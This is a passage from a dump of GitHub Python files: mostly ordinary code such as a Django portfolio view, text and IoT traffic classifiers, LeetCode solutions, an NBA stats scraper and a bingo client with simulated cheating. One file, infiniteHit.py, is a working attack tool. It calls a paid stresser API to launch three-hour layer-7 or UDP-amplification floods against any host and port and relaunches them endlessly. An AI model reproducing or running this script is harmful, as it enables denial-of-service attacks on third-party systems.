range(args.world_size):\n        p = mp.Process(target=do_train, args=(args, rank))\n        p.start()\n        processes.append(p)\n\n    for p in processes:\n        p.join()\n","repo_name":"wangqianlongucas/Cainiao-GreedRL","sub_path":"examples/cvrp/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"14873787850","text":"from django.shortcuts import render, get_object_or_404\nfrom django.views.generic import DetailView \nfrom .models import ProjectImageUpload, Summary, Skill, Education, Project, Work, Profile, Certification, Service, Contact\nfrom django.http import HttpResponse\nfrom django.core.mail import send_mail\n# Create your views here.\n\n\nclass ProjectDetailView(DetailView):\n    model = Project\n    context_object_name = 'project'\n\n\n\ndef index(request):\n    summary = Summary.objects.all()\n    skills = Skill.objects.all()\n    education = Education.objects.filter().order_by(\"-start_date\")\n    work = Work.objects.all()\n    profile = Profile.objects.all()\n    certification = Certification.objects.all()\n    project = Project.objects.all()\n    services = Service.objects.all()\n    skills_list_1 = skills[:3]\n    skills_list_2 = skills[4:]\n\n    if request.method == \"POST\":\n        contact = Contact()\n        name = request.POST.get(\"name\")\n        email = request.POST.get(\"email\")\n        subject = request.POST.get(\"subject\")\n        description = request.POST.get(\"message\")\n        contact.name = name\n        contact.email = email\n        contact.subject = subject\n        contact.message = description\n\n        data = {\n            'name':name,\n            'email':email,\n            'subject':subject,\n            'message':description\n        }\n\n        message = '''\n        Name: {}\n        From: {}\n\n        New Message: {}\n\n        \n        '''.format(data['name'], data['email'], data['message'])\n\n        send_mail(data['subject'], message,\"\",['chuksikey@gmail.com'])\n        contact.save()\n        return render(request, \"portfolio/thankyou.html\")\n\n    context = {\n        \"summary\": summary,\n        \"skills_1\": skills_list_1,\n        \"skills_2\": skills_list_2,\n        \"education\": education,\n        \"work\": work,\n        \"profile\":profile,\n        \"certification\": certification,\n        \"project\":project,\n        \"services\":services,\n    \n    }\n\n    return render(request, \"portfolio/home.html\", context)\n\ndef project(request, id):\n    project = get_object_or_404(Project, id=id)\n    photos = ProjectImageUpload.objects.filter(project=project)\n    context = {\n        \"project\": project,\n        \"photos\": photos\n    }\n    return render(request, \"portfolio/project_detail.html\", context)\n","repo_name":"chukstobi/portfolio-website","sub_path":"portfolio/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35075598984","text":"from posixpath import split\nimport pandas as pd\nimport nltk\nfrom nltk.corpus import stopwords\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport string\nfrom sklearn.naive_bayes import MultinomialNB\nimport pickle\n\nnltk.download('stopwords')\nvectorizer= CountVectorizer()\n\ndef get_df():\n    p_df=pd.DataFrame(columns=['Text','Label'])\n    df=pd.read_csv('Dataset.csv')\n    p_df['Text']=df['Text']\n    p_df['Label']=df['Label']\n    #print(p_df)\n    return p_df\n\ndef input_process(text):\n    translator= str.maketrans('','', string.punctuation)\n    nopunc= text.translate(translator)\n    words=[word for word in nopunc.split() if word.lower() not in stopwords.words('english')]\n    return ' '.join(words)\n\ndef remove_stopwords(input):\n    final_input=[]\n    for line in input: \n        line=input_process(line)\n        final_input.append(line)\n    return final_input\n\ndef train_model(df):\n    input= df['Text']\n    output= df['Label']\n    input= remove_stopwords(input)\n    df['Text']=input\n    input= vectorizer.fit_transform(input)\n    model=MultinomialNB()\n    model.fit(input,output)\n    return model\n\nif __name__=='__main__':\n    df=get_df()\n    model=train_model(df)\n    pickle.dump(model,open('NB.model','wb'))\n    pickle.dump(vectorizer, open('vectorizer.pickle','wb'))","repo_name":"shyamron/AI-WEB-document-classifier","sub_path":"Train.py","file_name":"Train.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"43341866770","text":"class Solution:\n    def subsets(self, nums):\n        \"\"\"\n        :type nums: List[int]\n        :rtype: List[List[int]]\n        \"\"\"\n        ans = []\n        length = len(nums)\n        for i in range(2**length):\n            temp = []\n            t = i\n            for j in range(length):\n                if t % 2 == 1:\n                    temp.append(nums[j])\n                t = t // 2\n            ans.append(temp)\n        return ans","repo_name":"YangZyyyy/MyLeetcode","sub_path":"78_subsets.py","file_name":"78_subsets.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35815136399","text":"import time\nimport os\nimport requests\nimport sys\nimport json\nimport validators\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\napiKey = os.getenv(\"API_KEY\")\napiPath = \"https://stresser.ai/api/api.php\"\nhost = sys.argv[1]\nport = sys.argv[2]\nduration = 10800\n\n\ndef hitRequest():\n    print(f\"Start hit {host}:{port}\")\n    url = f\"{apiPath}?key={apiKey}\"\n    if validators.url(host):\n        url = f\"{url}&action=layer7&host={host}&port={port}&time={duration}&method=STORM\"\n    else:\n        locale = os.getenv(\"LOCALE\") or \"\"\n        url = f\"{url}&action=layer4&host={host}&port={port}&time={duration}&method=UDP-AMP&locale={locale}\"\n\n    r = requests.get(url)\n    print(r.text)\n\n    text = json.loads(r.text)\n    return text[\"status\"] == True\n\n\nwhile True:\n    if hitRequest() is False:\n        print(\"STOP\")\n        break\n    time.sleep(duration + 5)\n","repo_name":"kyrylo-1/infinite-hit","sub_path":"infiniteHit.py","file_name":"infiniteHit.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5842153030","text":"s = \"A man, a plan, a canal: Panama\"\r\n\r\n# s = ''.join(filter(str.isalnum, s.lower()))\r\n\r\n# print(s == s[::-1])\r\n\r\n\r\n# submit\r\nclass Solution(object):\r\n    def isPalindrome(self, s):\r\n        \"\"\"\r\n        :type s: str\r\n        :rtype: bool\r\n        \"\"\"\r\n        s = ''.join(e for e in s if e.isalnum()).lower()\r\n        return s == s[::-1]","repo_name":"VuHoaBinh/Math-LeetCode","sub_path":"125.Valid Palindrome.py","file_name":"125.Valid Palindrome.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"35852194013","text":"import pandas as pd\nimport numpy as np \nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split, KFold\nfrom iotpackage.Utils import findOptimalThreshold, plotAUCCurve, plotCM, getDevicesDataset, getDeviceNameAndNumber, getDatasetAndDevice, getCategoryMapping, addToListMapping, findCategory, remapLabel\nfrom iotpackage.FeatureSelection import FeatureSelector\nfrom sklearn.metrics import accuracy_score, precision_recall_fscore_support, roc_curve, roc_auc_score\nfrom sklearn.preprocessing import OneHotEncoder\nfrom progressbar import progressbar, ProgressBar\nfrom psutil import cpu_count\nfrom datetime import datetime\nfrom iotpackage.__vars import companyCategories, generalCategories\nimport os\n\nclass NonIotFilter():\n    fs = None #Feature Selector\n    clf = None #Main Classifier\n    filtering_method = None # The method you want to select to filter data when predicting\n    printDetails = True\n\n    def __init__(self, fs, n_estimators=100, n_jobs=-1, filtering_method='threshold'):\n        self.fs = fs\n        self.clf = RandomForestClassifier(n_estimators=n_estimators, n_jobs=n_jobs)\n        self.filtering_method = filtering_method\n    def fit(self, data, y, positive_label='IoT'): # Fit Function Call Made Visisble\n        y = y.apply(lambda x: 1 if x == positive_label else 0)\n        self.fs.fit(data)\n        X = self.fs.transform(data)\n        self.clf.fit(X,y)\n        return\n\n    def predict(self, data, y=None, positive_label='IoT', save_path=None):   # Predict Function Call Made Visible\n        y = y.apply(lambda x: 1 if x == positive_label else 0)\n        y_pred_auto, y_pred_prob = self.__predict_clf(data)\n        auc_score, opt_threshold = self.__compute_threshold(y, y_pred_prob)\n        y_pred_threshold = self.__compute_pred_threshold(opt_threshold, y_pred_prob)\n        \n        # Saving the results in the csv file\n        if save_path is not None:\n            result_file = save_path + '-iot-non-iot.csv'\n            result_columns = ['T-Accuracy', 'T-Precision', 'T-Recall', 'A-Accuracy', 'A-Precision', 'A-Recall']\n            if os.path.exists(result_file):\n                result_df = pd.read_csv(result_file)\n            else:\n                result_df = pd.DataFrame(columns=result_columns)\n            idx = result_df.shape[0]\n            t_acc = accuracy_score(y, y_pred_threshold)\n            t_prs, t_rcl, _, _ = precision_recall_fscore_support(y, y_pred_threshold, average='binary')\n            a_acc = accuracy_score(y, y_pred_auto)\n            a_prs, a_rcl, _, _ = precision_recall_fscore_support(y, y_pred_auto, average='binary')\n            result_df.loc[idx, 'T-Accuracy'] = t_acc\n            result_df.loc[idx, 'T-Precision'] = t_prs\n            result_df.loc[idx, 'T-Recall'] = t_rcl\n            result_df.loc[idx, 'A-Accuracy'] = a_acc\n            result_df.loc[idx, 'A-Precision'] = a_prs\n            result_df.loc[idx, 'A-Recall'] = a_rcl\n            result_df.to_csv(result_file, index=False)\n        if self.filtering_method == 'auto':\n            return data[y_pred_auto == 1].reset_index(drop=True)\n        elif self.filtering_method == 'threshold':\n            return data[y_pred_threshold == 1].reset_index(drop=True)\n        else:\n            raise Exception(f'filtering_method {self.filtering_method} not correct')\n        return None\n\n    def __compute_pred_threshold(self, threshold, y_pred_prob):\n        y_pred_threshold = y_pred_prob.apply(lambda x: 1 if x >= threshold else 0)\n        return y_pred_threshold\n\n    def __compute_threshold(self, y_true, y_pred_prob):\n        # Compute the ROC Curve and optThreshold\n        fpr, tpr, threshold = roc_curve(y_true, y_pred_prob)\n        auc_score = roc_auc_score(y_true, y_pred_prob)\n        optFPR, optTPR, optThreshold = findOptimalThreshold(fpr, tpr, threshold)\n\n        # Print Details\n        if self.printDetails: print('Optimal Threshold:', optThreshold, 'AUC', auc_score)\n        return auc_score, optThreshold\n\n    def __predict_clf(self, data, prob=True):\n        X = self.fs.transform(data)\n        y_pred = self.clf.predict(X)\n        if prob:\n            y_pred_prob = pd.DataFrame(self.clf.predict_proba(X), columns=self.clf.classes_).loc[:,1]\n            if self.printDetails: print('NonIotFilter: __predict_clf: y_pred_prob.shape', y_pred_prob.shape, self.clf.classes_)\n            return y_pred, y_pred_prob\n        else:\n            return y_pred\n\n","repo_name":"dilawer11/iot-device-fingerprinting","sub_path":"src/iotpackage/Filters.py","file_name":"Filters.py","file_ext":"py","file_size_in_byte":4424,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"2555637535","text":"from random import choice\ndef new_board():\n    global a\n    a = [[2 for i in range(8)] for j in range(8)]\n\ndef getIndexPositions(listOfElements, element):\n    global indexPosList\n    indexPosList = []\n    indexPos = 0\n    while True:\n        try:\n            indexPos = listOfElements.index(element, indexPos)\n            indexPosList.append(indexPos)\n            indexPos += 1\n        except ValueError as e:\n            break\n    return indexPosList\n\ndef choose_ran():\n    global count\n    listof = []\n    global i\n    global j\n    for idx in range(len(a)):\n        if 2 in a[idx]:\n            listof.append(idx)\n    i = choice(listof)\n    j = choice(getIndexPositions(a[i], 2))\n    if a[i][j] != 1 and a[i][j] !=0:\n        a[i][j] = 1\n        count=count+1\n\ndef rows():\n    for l in range(len(a[i])):\n        if a[i][l] == 1:\n            continue\n        else:\n            a[i][l] = 0\ndef cols():\n    for l in range(len(a[i])):\n        if a[l][j] == 1:\n            continue\n        else:\n            a[l][j] = 0\n\ndef before_up():\n    t=1\n    n=1\n    if i>j:\n        for g in range(j):\n            if a[i-t][j-t] != 1:\n                a[i-t][j-t] = 0\n                if t == j:\n                    break\n                t+=1\n    else:\n        for h in range(i):\n            if a[i-n][j-n] != 1:\n                a[i-n][j-n] = 0\n                if i == n:\n                    break\n                n+=1\n    q=1\n    w=1\n    if i>j:\n        for g in range(7-i):\n            if a[i+q][j+q] != 1:\n                a[i+q][j+q] = 0\n            if i == 7:\n                break\n            q+=1\n    else:\n        for g in range(7-j):\n            if a[i+w][j+w] != 1:\n                a[i+w][j+w] = 0\n            if j == 7:\n                break\n            w+=1\n\ndef sth():\n    for g in range(9):\n        if i+g in range(8) and j-g in range(8):\n            if a[i+g][j-g] != 1:\n                a[i+g][j-g] = 0\n    for g in range(9):\n        if i-g in range(8) and j+g in range(8):\n            if a[i-g][j+g] != 1:\n                a[i-g][j+g] = 0\n\ngh = []\nuser_request = 1 #int(input('how many do you want? '))\nwhile len(gh) < user_request:\n    count = 0\n    new_board()\n    while True:\n        try:\n            choose_ran()\n        except Exception as e:\n            if count == 8:\n                for jk in a:\n                    print(jk)\n                if a not in gh:\n                    gh.append(a)\n                print(len(gh))\n            break\n        rows()\n        cols()\n        before_up()\n        sth()","repo_name":"farhang74/fun_stuff","sub_path":"chess_eight_queens/eight_queens.py","file_name":"eight_queens.py","file_ext":"py","file_size_in_byte":2509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74735236518","text":"import requests\nimport psycopg2\nimport json\nfrom Utilities import yearsGenerator\nfrom time import sleep\nimport sys\n\n# if ran will update players table by populating with nba_id, name, team_nba_id, height, weight, draft team, draft pick, draft year, college, country\nstartUrl = \"https://stats.nba.com/stats/leaguedashplayerbiostats\"\n\n\nconn = psycopg2.connect(\"dbname=basketball user = nd2\")\ncur = conn.cursor()\ntypes = set([\"Regular Season\", \"Playoffs\", \"Pre Season\"])        \nyears = yearsGenerator(19,5)\n\nif (sys.argv[1] == \"update\"):\n    years = yearsGenerator(19,1)\n\nplayersSeen = set()\nprint(\"start\")\n\nfor year in years:\n    for type in types:\n        sleep(2)\n        params = dict(LeagueID=\"00\",Season=year,SeasonType=type,PerMode=\"Totals\")\n        resp = requests.get(url=startUrl, params = params, headers = {'User-Agent' :  'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0'})\n        jsonFile = json.loads(resp.text)\n        players = jsonFile['resultSets'][0]['rowSet']\n        for player in players:\n            nbaId = player[0]\n            if nbaId not in playersSeen:\n                name = player[1]\n                height = player[6]\n                weight = player[7]\n                college = player[8]\n                country = player[9]\n                draftYear = player[10]\n                draftPick = 0\n                if draftYear != \"Undrafted\" and player[12] is not None:\n                    draftPick = int(player[12])\n                if draftYear == \"Undrafted\":\n                    draftYear = 0\n                playersSeen.add(nbaId)\n                #print(name)\n                cur.execute(\"insert into players (nba_name,msf_name,dk_name,rg_name, nba_id, height, weight, college, birth_country, draft_year, draft_number) values (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s) on conflict (nba_id) do update set nba_name = %s, nba_id = %s, height = %s, weight = %s, college = %s, birth_country = %s, draft_year = %s, draft_number = %s\",(name,name,name,name,nbaId,height,weight,college,country,draftYear,draftPick,name,nbaId,height,weight,college,country,draftYear,draftPick))\n                conn.commit()\n                \n# print(\"next\")\n\n# url =\"https://stats.nba.com/stats/commonallplayers?LeagueID=00&Season=2017-18&IsOnlyCurrentSeason=00\"\n# resp = requests.get(url=url, params = params, headers = {'User-Agent' :  'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0'})\n\n# jsonFile = json.loads(resp.text)\n# players = jsonFile['resultSets'][0]['rowSet']\n# for player in players:\n#     id = player[0]\n#     nameNba = player[2]\n#     print(nameNba)\n#     cur.execute(\"insert into players (nba_id,nba_name) values (%s,%s) on conflict (nba_id) do update set nba_name = %s\",(id,nameNba,nameNba))\n#     conn.commit()\n                    \n\ncur.close()\nconn.close()\n","repo_name":"njndtu/FantasyBasketball","sub_path":"DataCollection/NbaFullGames/NbaPlayers.py","file_name":"NbaPlayers.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6309634754","text":"class Solution:\n    def rob(self, nums: List[int]) -> int:\n        lenn = len(nums)\n        memo = [nums[0]] * (lenn)\n        if lenn > 1:\n            memo[1] = max(memo[0], nums[1])\n\n            for i in range(2, lenn):\n                memo[i] = max(memo[i-1], memo[i-2] + nums[i])\n\n        return memo[-1]\n\nclass Solution:\n    def rob(self, nums: List[int]) -> int:\n        lenn = len(nums)        \n        dp = [0] * (lenn+1)\n        dp[lenn-1], dp[lenn] = nums[lenn-1], 0\n        \n        for i in range(lenn-2, -1, -1):\n            dp[i] = max(dp[i+1], nums[i] + dp[i+2])\n        \n        return max(dp[:2])","repo_name":"trajanikant/LeetCode","sub_path":"Python/0198-house-robber.py","file_name":"0198-house-robber.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"18"}
{"seq_id":"33868719729","text":"import numpy as np\nimport torch\nfrom utils.dataset_utils import Augment\nfrom skimage.transform import resize\n\n\naugment = Augment()\ntransforms_aug = [method for method in dir(augment) if callable(getattr(augment, method)) if not method.startswith('_')]\n\n\nclass Augment(object):\n\n    def __call__(self, sample):\n        clean_img, noise_img = sample\n        indx = np.random.randint(0, len(transforms_aug))\n        apply_trans = transforms_aug[indx]\n        clean = getattr(augment, apply_trans)(clean_img)\n        noisy = getattr(augment, apply_trans)(noise_img)\n\n        return clean, noisy\n\n\nclass RandomCrop(object):\n\n    def __init__(self, output_size):\n        assert isinstance(output_size, (int, tuple))\n        if isinstance(output_size, int):\n            self.output_size = (output_size, output_size)\n        else:\n            assert len(output_size) == 2\n            self.output_size = output_size\n\n    def __call__(self, sample):\n\n        clean, noisy = sample\n\n        h, w = clean.shape[:2]\n        new_h, new_w = self.output_size\n\n        if new_h > h:\n            clean = resize(clean, [new_h, w])\n            noisy = resize(noisy, [new_h, w])\n\n        if new_w > w:\n            clean = resize(clean, [h, new_w])\n            noisy = resize(noisy, [h, new_w])\n\n        top = np.random.randint(0, h - new_h) if h - new_h > 0 else 0\n        left = np.random.randint(0, w - new_w) if w - new_w > 0 else 0\n\n        clean = clean[top: top + new_h, left: left + new_w]\n        noisy = noisy[top: top + new_h, left: left + new_w]\n\n        return clean, noisy\n\n\nclass RandomCropWb(object):\n\n    def __init__(self, output_size):\n        assert isinstance(output_size, (int, tuple))\n        if isinstance(output_size, int):\n            self.output_size = (output_size, output_size)\n        else:\n            assert len(output_size) == 2\n            self.output_size = output_size\n\n    def __call__(self, target):\n\n        h, w = target.shape[:2]\n        new_h, new_w = self.output_size\n\n        if new_h > h:\n            target = resize(target, [new_h, w])\n\n        if new_w > w:\n            target = resize(target, [h, new_w])\n\n        top = np.random.randint(0, h - new_h) if h - new_h > 0 else 0\n        left = np.random.randint(0, w - new_w) if w - new_w > 0 else 0\n\n        target = target[top: top + new_h, left: left + new_w]\n\n        return target\n\n\nclass ToTensor(object):\n\n    def __call__(self, sample):\n\n        clean_img, noise_img = sample\n        clean = clean_img.transpose((2, 0, 1))\n        noisy = noise_img.transpose((2, 0, 1))\n\n        return torch.from_numpy(clean), torch.from_numpy(noisy)","repo_name":"ebery/RealImageDenoising","sub_path":"utils/Transforms.py","file_name":"Transforms.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33497938200","text":"from django.urls import path, include\n\nfrom apps.takes.api import views as takes_views\n\napp_name = \"api\"\n\nurlpatterns = [\n    path(\"auth/\", include(\"dj_rest_auth.urls\")),\n    path(\"auth/signup/\", include(\"dj_rest_auth.registration.urls\")),\n    path(\"explore/\", takes_views.ExploreApiView.as_view(), name=\"explore\"),\n    path(\"take/<slug:slug>/\", takes_views.QuizTakeApiView.as_view(), name=\"take\"),\n    path(\"results/\", takes_views.QuizTakeResultsApiView.as_view(), name=\"results\"),\n]\n","repo_name":"DirectDuck/django_quiz_app","sub_path":"apps/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"14468644096","text":"import os\nimport logging\nimport logging.config\n\nWORKER_NAME = 'crawler'\n\nLOGGING = {\n    'version': 1,\n    'formatters': {\n        'simple': {'format': '%(levelname)s %(message)s'},\n    },\n    'handlers': {\n        'console': {\n            'class': 'logging.StreamHandler',\n            'formatter': 'simple',\n            'level': 'DEBUG',\n        },\n    },\n    'root': {\n        'level': 'INFO',\n        'handlers': ['console']\n    },\n    WORKER_NAME: {\n        'level': 'INFO',\n        'handlers': ['console']\n    },\n}\n\nRAVEN_DSN = os.environ.get('CRAWLER_RAVEN_DSN')\nif RAVEN_DSN is not None:\n    LOGGING['handlers']['sentry'] = {\n        'level': 'WARNING',\n        'class': 'raven.handlers.logging.SentryHandler',\n        'dsn': RAVEN_DSN,\n        'tags': {\n            'service': 'crawler',\n        },\n    }\n    LOGGING['root']['handlers'] += ['sentry']\n    LOGGING[WORKER_NAME]['handlers'] += ['sentry']\n\nlogging.config.dictConfig(LOGGING)\n\nlogger = logging.getLogger(WORKER_NAME)\n","repo_name":"AusDTO/disco_crawl","sub_path":"crawler-node/src/crawler/loggers.py","file_name":"loggers.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"12783458698","text":"#!/bin/python\nimport base64\nimport selectors\nimport sys\nimport socket\nimport random\nimport os\nimport fcntl\nfrom pathlib import Path\nfrom cryptography.hazmat.primitives import serialization\n\npath_root = Path(__file__).parents[1]\nsys.path.append(str(path_root))\n\nimport messages.protocol as proto\nimport security.security as secure\nimport security.vsc_security as vsc\n\nclass Player:\n    ADDRESS = '127.0.0.1'\n\n    def __init__(self, nick: str, port):\n        # Personal Information\n        self.nick = nick\n        self.ID = None\n        self.port = port\n\n        # Generated Keys\n        self.private_key = None\n        self.public_key = None\n        self.sym_key = None\n\n        # Game Information\n        self.N = 0                                                              # Size of the Playing Deck\n        self.players_info = {}                                                  # Info about the Players\n        self.card = []                                                          # My playing card\n        self.playing_deck = []                                                  # Playing Deck in plaintext form\n        self.playing_area_pk = None                                             # Playing Area Public Key\n        self.game_finished = False                                              # Flag to indicate if the game has finished\n        self.users = {}                                                         # Dictionary with the users' IDs and PKs\n\n        # Socket and Selector creation\n        self.selector = selectors.DefaultSelector()\n        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        \n\n    def connect(self):\n        \"\"\"\n        Function used to connect the created Socket to the Playing Area. The port passed in the command-line as an argument to this script should be the port where the Playing Area runs.\n        \"\"\"\n        # Conexão à socket da Playing Area\n        self.socket.connect((self.ADDRESS, self.port))\n        self.selector.register(self.socket, selectors.EVENT_READ, self.read_data)\n\n        # Gerar par de chaves assimétricas\n        self.generate_keys()\n\n        # Envio da Register Message à Playing Area\n        message = proto.RegisterMessage(\"Player\", self.public_key, nick=self.nick)\n        signature = vsc.sign_message(message)\n        certificate = vsc.get_cert_data()        \n        cert_message = proto.CertMessage(message, signature, certificate)\n        proto.Protocol.send_msg(self.socket, cert_message)\n\n        # Verificação da resposta recebida\n        try:\n            message = (None, None)\n            message = proto.Protocol.recv_msg(self.socket)\n            msg = message[0]\n            signature = message[1]\n            certificate = message[2]\n        except:\n            msg, signature = message\n            certificate = None\n        #print(f\"Received: {msg} with signature {signature}\")\n\n        if isinstance(msg, proto.Register_NACK):\n            # Playing Area rejeitou Player\n            print(\"Register Rejected\")\n            print(\"Shutting down...\")\n            exit()\n        elif isinstance(msg, proto.Register_ACK):\n            self.playing_area_pk = msg.pk\n            self.ID = msg.ID\n            print(\"Register Accepted\")\n\n    def read_data(self, socket):\n        \"\"\"\n        This function will determine the class of the received Message, and call the code that should be executed when an instance of this Message is received\n        :param socket: The calling socket\n        :return:\n        \"\"\"\n        try:\n            message = (None, None)\n            message = proto.Protocol.recv_msg(socket)\n            msg = message[0]\n            signature = message[1]\n            certificate = message[2]\n        except:\n            msg, signature = message\n            certificate = None\n\n\n        # Verify if the signature of the message belongs to the Playing Area\n        if signature is not None:\n            sender_ID = msg.ID\n            if sender_ID is None:\n                sender_pub_key = self.playing_area_pk\n            else:\n                sender_pub_key = self.users[sender_ID]\n            if not secure.verify_signature(msg, signature, sender_pub_key):\n                # If the Playing Area signature is faked, the game is compromised\n                print(\"The Playing Area or the Caller signature was forged! The game is compromised.\")\n                print(\"Shutting down...\")\n                self.selector.unregister(socket)\n                socket.close()\n                exit()\n\n        reply = None\n\n        # Depending on the type of Message received, decide what to do\n        if isinstance(msg, proto.Begin_Game):\n            print(\"\\nThe game is starting...\")\n            self.users = {int(k): v for k, v in msg.pks.items()}\n        elif isinstance(msg, proto.Message_Deck):\n            self.N = len(msg.deck)\n\n            print(\"\\nStep 1\")\n            print(\"I am shuffling the deck...\")\n            shuffled_deck = self.shuffle_deck(msg.deck)\n\n            ''' implementation of one of the cheating systems'''\n            rand = random.randint(0, 100)\n            if rand>10:\n                self.generate_playing_card()\n                print(\"I have generated my Playing Card...\")\n            else:\n                self.generate_cheating_card(shuffled_deck)\n                print(\"I have generated my Cheating Playing Card...\")\n\n                cheat_message = proto.Cheat(self.ID)\n                signature = secure.sign_message(cheat_message, self.private_key)\n                new_message = proto.SignedMessage(cheat_message, signature)\n                proto.Protocol.send_msg(socket, new_message)\n\n            reply = proto.Commit_Card(self.ID, shuffled_deck, self.card)\n        elif isinstance(msg, proto.Ask_Sym_Keys):\n            print(\"Sending my symmetric key...\")\n            sk = base64.b64encode(self.sym_key).decode()\n            reply = proto.Post_Sym_Keys(self.ID, sk)\n        elif isinstance(msg, proto.Verify_Cards):\n            # Initiate Playing Cards verification process\n            reply = self.verify_cards(msg)\n        elif isinstance(msg, proto.Disqualify):\n            # Someone has been disqualified\n            if int(msg.disqualified_ID) == int(self.ID):\n                # I have been disqualified\n                self.selector.unregister(socket)\n                socket.close()\n                print('I have been disqualified. Exiting...')\n                exit()\n            else:\n                # Someone else was disqualified\n                print(f\"Player {msg.disqualified_ID} has been disqualified.\")\n                self.players_info.pop(int(msg.disqualified_ID))\n        elif isinstance(msg, proto.Post_Final_Decks):\n            reply = self.decrypt(msg.decks)\n        elif isinstance(msg, proto.Ask_For_Winner):\n            reply = self.find_winner()\n        elif isinstance(msg, proto.Winner_ACK):\n            if self.ID in [int(id) for id in msg.ID_winner]:\n                print(\"\\nBingo! I'm the Winner!\")\n            else:\n                for person in msg.ID_winner:\n                    print(f\"\\nCongratulations {person} for winning the game!\")\n\n            self.game_finished = True\n        elif isinstance(msg, proto.Players_List):\n            print(\"\\nThe list of players is:\")\n            for player in msg.players:\n                print(f\"\\n-> Player #{player}\")\n                print(f\"   Nick: {msg.players[player]['nick']}\")\n                print(f\"   Playing Card: {msg.players[player]['playing_card']}\")\n                print(f\"   Public Key: {msg.players[player]['public_key']}\")\n                if msg.players[player][\"disqualified\"]:\n                    print(\"   [DISQUALIFIED]\") \n        else:\n            self.selector.unregister(socket)\n            socket.close()\n            print('\\nConnection to Playing Area lost, exiting...')\n            exit()\n\n        if reply is not None:\n            # There is a message to be sent\n            signature = secure.sign_message(reply, self.private_key)\n            new_message = proto.SignedMessage(reply, signature)\n            proto.Protocol.send_msg(socket, new_message)\n\n    def generate_keys(self):\n        \"\"\"\n        Function responsible for the generation of this User's assymetric key pair\n        :return:\n        \"\"\"\n        self.private_key, self.public_key = secure.gen_assymetric_key()\n\n    def shuffle_deck(self, deck):\n        \"\"\"\n        Function responsible for the shuffling of the Playing Deck.\n        Cheating can occur here.\n        :return:\n        \"\"\"\n        self.sym_key = secure.gen_symmetric_key()\n        rand = random.randint(0, 100)\n        if rand>5:\n            new_deck = []\n            for number in deck:\n                new_deck.append(base64.b64encode(secure.encrypt_number(base64.b64decode(number), self.sym_key)).decode('utf-8'))\n\n            return random.sample(new_deck, len(deck))\n        else:\n            #I am cheating -> send cheating message\n            proto.Protocol.send_msg(self.socket, proto.Cheat(self.ID))\n            print(\"I have cheated when shuffling the deck.\")\n            return self.card + random.sample(deck, len(deck)-len(self.card))\n        \n\n    def generate_playing_card(self):\n        \"\"\"\n        Function responsible for the generation of the Playing Deck\n        :return:\n        \"\"\"\n        self.card = random.sample(list(range(1, self.N + 1)), int(self.N/4))\n\n    def generate_cheating_card(self, deck):\n        '''creating a smaller deck where it consists of the first value of the deck repeated several times'''\n        print(\"I have cheated while generating my playing card\")\n        self.card = random.sample(deck[0], int(self.N/8))\n\n    def verify_cards(self, msg):\n        print(\"\\nStep 2\")\n        print(\"Starting the process of validating Playing Cards...\")\n        cheaters = []\n\n        for player in msg.playing_cards.keys():\n            if int(player) == self.ID:\n                continue\n\n            print(f\"Verifying Player {player}'s Playing Card...\")\n\n            if len(set(msg.playing_cards[player])) != int(self.N/4):\n                print(f\"Player {player} has cheated!\")\n                cheaters.append(player)\n            else:\n                print(\"Everything OK!\")\n\n            self.players_info[int(player)] = {\"card\": msg.playing_cards[player]}\n\n        if len(cheaters) > 0:\n            return proto.Verify_Card_NOK(self.ID, cheaters)\n        else:\n            print(\"Nobody has cheated\")\n            return proto.Verify_Card_OK(self.ID)\n\n    def decrypt(self, decks):\n        print(\"\\nStep 3\")\n        print(\"I will now start to decrypt the Deck and verify if anyone cheated\")\n        keys = sorted(decks, reverse=True)\n        current_deck = list()\n        cheaters = []\n\n        # We start the decryption process by taking the Deck encrypted by the player with the highest ID, and working all the way down to the lowest ID\n        for i in range(len(keys)):\n            if i != 0:\n                # If there's a difference between the deck received in this step, and the deck determined after decryption in the previous step, the previous player cheated\n                # The only being compared is if the set of numbers in both decks are matching - order doesn't matter\n                dif = set(current_deck).difference(set([base64.b64decode(number) for number in decks[keys[i]][\"deck\"]]))\n\n                if len(dif) > 0 and keys[i-1] != self.ID:\n                    cheaters.append(keys[i-1])\n                    print(f\"Player {keys[i - 1]} cheated!\")\n\n            new_deck = list()\n            for number in decks[keys[i]][\"deck\"]:\n                flag = 1 if 